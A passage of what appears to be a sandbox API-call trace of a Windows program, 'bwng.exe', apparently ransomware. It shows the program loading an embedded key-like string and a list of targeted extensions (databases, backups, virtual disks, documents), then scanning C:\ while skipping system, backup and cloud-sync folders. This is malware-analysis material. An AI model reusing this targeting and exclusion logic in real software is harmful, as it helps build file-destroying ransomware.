lpString1="[NF_END]", cchCount1=8, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.614] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="[ND_START]", cchCount1=10, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PERFLOGS\\", cchCount1=10, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS\\", cchCount1=9, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS.OLD\\", cchCount1=13, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS10UPGRADE\\", cchCount1=18, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\$RECYCLE.BIN\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\WINDOWS NT\\", cchCount1=12, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\COMMON FILES\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\TEMP\\", cchCount1=6, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\BOOT\\", cchCount1=6, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\MSOCACHE\\", cchCount1=10, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DEFAULT USER\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ACRONIS\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ACRONIS\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUPCLIENT\\", cchCount1=19, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUPCLIENT\\", cchCount1=19, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\BACKUP MANAGER\\", cchCount1=21, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\BACKUP MANAGER\\", cchCount1=21, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\CARBONITE\\", cchCount1=16, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\CARBONITE\\", cchCount1=16, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\GOOGLE\\DRIVE\\", cchCount1=19, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\DROPBOX\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\DROPBOX\\", cchCount1=14, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\MICROSOFT ONEDRIVE\\", cchCount1=25, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FILES\\ONEDRIVE\\", cchCount1=15, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="(X86)\\ONEDRIVE\\", cchCount1=15, lpString2="[FEX_END]", cchCount2=9) returned 1 [0029.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VNC\\", cchCount1=4, lpString2="[FEX_END]", cchCount2=9) returned 3 [0029.616] FindResourceW (hModule=0x400000, lpName="PRL", lpType=0xa) returned 0x4f54b0 [0029.616] LoadResource (hModule=0x400000, hResInfo=0x4f54b0) returned 0x526d30 [0029.616] SizeofResource (hModule=0x400000, hResInfo=0x4f54b0) returned 0x1d2 [0029.616] LockResource (hResData=0x526d30) returned 0x526d30 [0029.616] FreeResource (hResData=0x526d30) returned 0 [0029.616] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0029.616] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0029.616] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0029.616] LockResource (hResData=0x5260dc) returned 0x5260dc [0029.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2080, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0029.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2080, cbMultiByte=38, lpWideCharStr=0x1e8e20c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0029.616] FreeResource (hResData=0x5260dc) returned 0 [0029.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0029.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0029.616] GetCurrentThreadId () returned 0x5b0 [0029.616] GetCurrentThreadId () returned 0x5b0 [0029.616] GetCurrentThreadId () returned 0x5b0 [0029.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dca378, cbMultiByte=466, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 466 [0029.616] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dca378, cbMultiByte=466, lpWideCharStr=0x1e3a97c, cchWideChar=466 | out: lpWideCharStr="MDF\r\nNDF\r\nLDF\r\nMYD\r\nEQL\r\nSQL\r\nDB\r\nDBK\r\nDB2\r\nDB3\r\nDBC\r\nDT\r\nDBS\r\nDBF\r\nDBX\r\nMDB\r\nSDF\r\nNS2\r\nNS3\r\nNS4\r\nNSF\r\nACCDB\r\nVPD\r\nVHD\r\nVHDX\r\nAVHDX\r\nVDI\r\nSQLITE\r\nSQLITE3\r\nSQLITEDB\r\nSQB\r\nTRN\r\nIMG\r\nBAK\r\nBAC\r\nBCK\r\nBCKP\r\nBACKUP\r\nBACKUPDB\r\nFH\r\nTIB\r\nTIS\r\n001\r\nWBB\r\nV2I\r\nIV2I\r\nINPROGRESS\r\nZIP\r\nRAR\r\nZ\r\n7Z\r\nGZ\r\nTAR\r\nDMP\r\nWMT\r\nVMDK\r\nGHO\r\nGHS\r\nOEB\r\nPST\r\nXLSX\r\nXLS\r\nDOCX\r\nDOC\r\nDOT\r\nDOTX\r\nODT\r\nODS\r\nHWP\r\nHWT\r\nHML\r\nHWDT\r\nHWPX\r\nCELL\r\nNXL\r\nHCDT\r\nNXT\r\nSHOW\r\nHPT\r\nHSDT\r\nDWG\r\nCDR\r\nPDF\r\nJPG\r\nJPEG\r\nPSD") returned 466 [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.616] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f720, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0029.616] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ALL*.fldp", lpFindFileData=0x18f96c | out: lpFindFileData=0x18f96c*(dwFileAttributes=0x7758aadb, ftCreationTime.dwLowDateTime=0x400000, ftCreationTime.dwHighDateTime=0x4, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e94e5c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x18f9a4, nFileSizeLow=0x77382dfa, dwReserved0=0x1e94e8e, dwReserved1=0x1dc43b0, cFileName="\x12", cAlternateFileName="")) returned 0xffffffff [0029.617] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0029.617] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0029.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LDRIVESSCAN]", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.617] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LDRIVESSCAN]", cchWideChar=13, lpMultiByteStr=0x1e62fac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[LDRIVESSCAN]", lpUsedDefaultChar=0x0) returned 13 [0029.617] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x18fbc0, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbc0*=0xd, lpOverlapped=0x0) returned 1 [0029.617] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x70e078 [0029.618] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.618] CharUpperBuffW (in: lpsz="C:\\$Recycle.Bin\\", cchLength=0x10 | out: lpsz="C:\\$RECYCLE.BIN\\") returned 0x10 [0029.618] CharUpperBuffW (in: lpsz=".Bin", cchLength=0x4 | out: lpsz=".BIN") returned 0x4 [0029.618] CharUpperBuffW (in: lpsz="$Recycle.Bin", cchLength=0xc | out: lpsz="$RECYCLE.BIN") returned 0xc [0029.618] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0029.618] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS10UPGRADE\\", cchLength=0x12 | out: lpsz="\\WINDOWS10UPGRADE\\") returned 0x12 [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\$RECYCLE.BIN\\", cchLength=0xe | out: lpsz="\\$RECYCLE.BIN\\") returned 0xe [0029.618] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.618] CharUpperBuffW (in: lpsz="\\WINDOWS NT\\", cchLength=0xc | out: lpsz="\\WINDOWS NT\\") returned 0xc [0029.619] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.619] CharUpperBuffW (in: lpsz="\\COMMON FILES\\", cchLength=0xe | out: lpsz="\\COMMON FILES\\") returned 0xe [0029.619] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.619] CharUpperBuffW (in: lpsz="\\TEMP\\", cchLength=0x6 | out: lpsz="\\TEMP\\") returned 0x6 [0029.619] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.619] CharUpperBuffW (in: lpsz="\\BOOT\\", cchLength=0x6 | out: lpsz="\\BOOT\\") returned 0x6 [0029.619] CharUpperBuffW (in: lpsz="C:\\Boot\\", cchLength=0x8 | out: lpsz="C:\\BOOT\\") returned 0x8 [0029.619] CharUpperBuffW (in: lpsz="Boot", cchLength=0x4 | out: lpsz="BOOT") returned 0x4 [0029.619] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0029.619] CharUpperBuffW (in: lpsz="bootmgr", cchLength=0x7 | out: lpsz="BOOTMGR") returned 0x7 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="", cchCount2=0) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.619] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="BOOTMGR", cchCount2=7) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="BOOTMGR", cchCount2=7) returned 2 [0029.620] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0029.620] CharUpperBuffW (in: lpsz=".BAK", cchLength=0x4 | out: lpsz=".BAK") returned 0x4 [0029.620] CharUpperBuffW (in: lpsz="BOOTSECT.BAK", cchLength=0xc | out: lpsz="BOOTSECT.BAK") returned 0xc [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="BAK", cchCount2=3) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="BOOTSECT.BAK", cchCount2=12) returned 3 [0029.620] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="BOOTSECT.BAK", cchCount2=12) returned 2 [0029.621] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0029.621] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\WINDOWS\\", cchLength=0x9 | out: lpsz="\\WINDOWS\\") returned 0x9 [0029.621] CharUpperBuffW (in: lpsz="C:\\Config.Msi\\", cchLength=0xe | out: lpsz="C:\\CONFIG.MSI\\") returned 0xe [0029.621] CharUpperBuffW (in: lpsz="\\WINDOWS.OLD\\", cchLength=0xd | out: lpsz="\\WINDOWS.OLD\\") returned 0xd 